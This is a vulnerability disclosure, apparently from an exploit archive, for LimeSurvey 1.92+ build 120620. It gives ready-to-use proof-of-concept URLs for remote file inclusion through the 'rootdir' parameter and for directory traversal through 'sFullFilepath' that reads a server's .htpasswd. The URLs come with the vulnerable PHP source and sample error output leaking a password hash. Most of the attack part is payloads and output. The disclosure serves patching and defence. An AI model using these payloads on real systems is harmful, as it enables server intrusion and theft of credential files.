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LimeSurvey 1.92+ Build120620 Remote File Inclusion / Traversal

LimeSurvey 1.92+ Build120620 Remote File Inclusion / Traversal
Posted Jun 23, 2012
Authored by dun

LimeSurvey version 1.92+ Build 120620 suffers from remote file inclusion and traversal vulnerabilities.

tags | exploit, remote, vulnerability, code execution, file inclusion
MD5 | e430b74e92d64901e8aa4eee3b3caf9e

LimeSurvey 1.92+ Build120620 Remote File Inclusion / Traversal

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[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-22 ]
#################################################################
# [ LimeSurvey 1.92+ build 120620 ] Multiple Vulnerabilities #
#################################################################
#
# Script: "LimeSurvey - the free and open source survey software tool"
#
# Vendor: http://www.limesurvey.org/
# Download: http://download.limesurvey.org/Latest_stable_release/limesurvey192plus-build120620.zip
#
################################################################
#
# [RFI] ( allow_url_include = On; register_globals = On; )
#
# Versions affected: 1.92+ build 120620
#
# Vuln: http://localhost/limesurvey/replacements.php?rootdir=http://localhost/phpinfo.txt?

File: ./limesurvey/replacements.php (line 3)
...cut...
<?php
global $rootdir;
include_once($rootdir.'/classes/expressions/LimeExpressionManager.php'); // [RFI]
...cut...

################################################################
#
# [Directory Traversal] ( display_errors On; register_globals = On; )
#
# Versions affected: 1.92+ build 120620 and previous
#
# Vuln: http://localhost/limesurvey/admin/importsurvey.php?copyfunction=1&sExtension=lss&sFullFilepath=../../secret/.htpasswd

File: ./limesurvey/admin/importsurvey.php (lines 18-38)
...cut...
if ((!isset($importingfrom) && !isset($copyfunction)) || isset($_REQUEST['importingfrom'])) // 1 false if $copyfunction is set
{
die("Cannot run this script directly");
}
require_once('import_functions.php'); // 2 include functions

if (!isset($copyfunction))
{
$sFullFilepath=$the_full_file_path;
$aPathInfo = pathinfo($sFullFilepath);
$sExtension = $aPathInfo['extension'];
}

$bImportFailed=false;
if (isset($sExtension) && strtolower($sExtension)=='csv')
{
$aImportResults=CSVImportSurvey($sFullFilepath);
}
elseif (isset($sExtension) && strtolower($sExtension)=='lss') // 3 true if $sExtension = 'lss'
{
$aImportResults=XMLImportSurvey($sFullFilepath,null,null, null,(isset($_POST['translinksfields']))); // 4 $sFullFilepath -> our file
...cut...

File: ./limesurvey/admin/import_functions.php (lines 1080-1087)
...cut...
function XMLImportSurvey($sFullFilepath,$sXMLdata=NULL,$sNewSurveyName=NULL,$iDesiredSurveyId=NULL, $bTranslateInsertansTags=true)
{
global $connect, $dbprefix, $clang, $timeadjust;

$results['error']=false;
if ($sXMLdata == NULL)
{
$xml = simplexml_load_file($sFullFilepath); // 5 try to open our file as xmlfile
...cut...

This should return a warning with the first line of our file.
In this case: admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ from .htpasswd :)
Something like this:

Warning: simplexml_load_file() [function.simplexml-load-file]:
../../secret/.htpasswd:1:parser error : Start tag expected, '<' not found in /www/limesurvey/admin/import_functions.php on line 1087
Warning: simplexml_load_file() [function.simplexml-load-file]:
admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ in /www/limesurvey/admin/import_functions.php on line 1087
Warning: simplexml_load_file() [function.simplexml-load-file]:
^ in /www/limesurvey/admin/import_functions.php on line 1087

### [ dun / 2012 ] #####################################################

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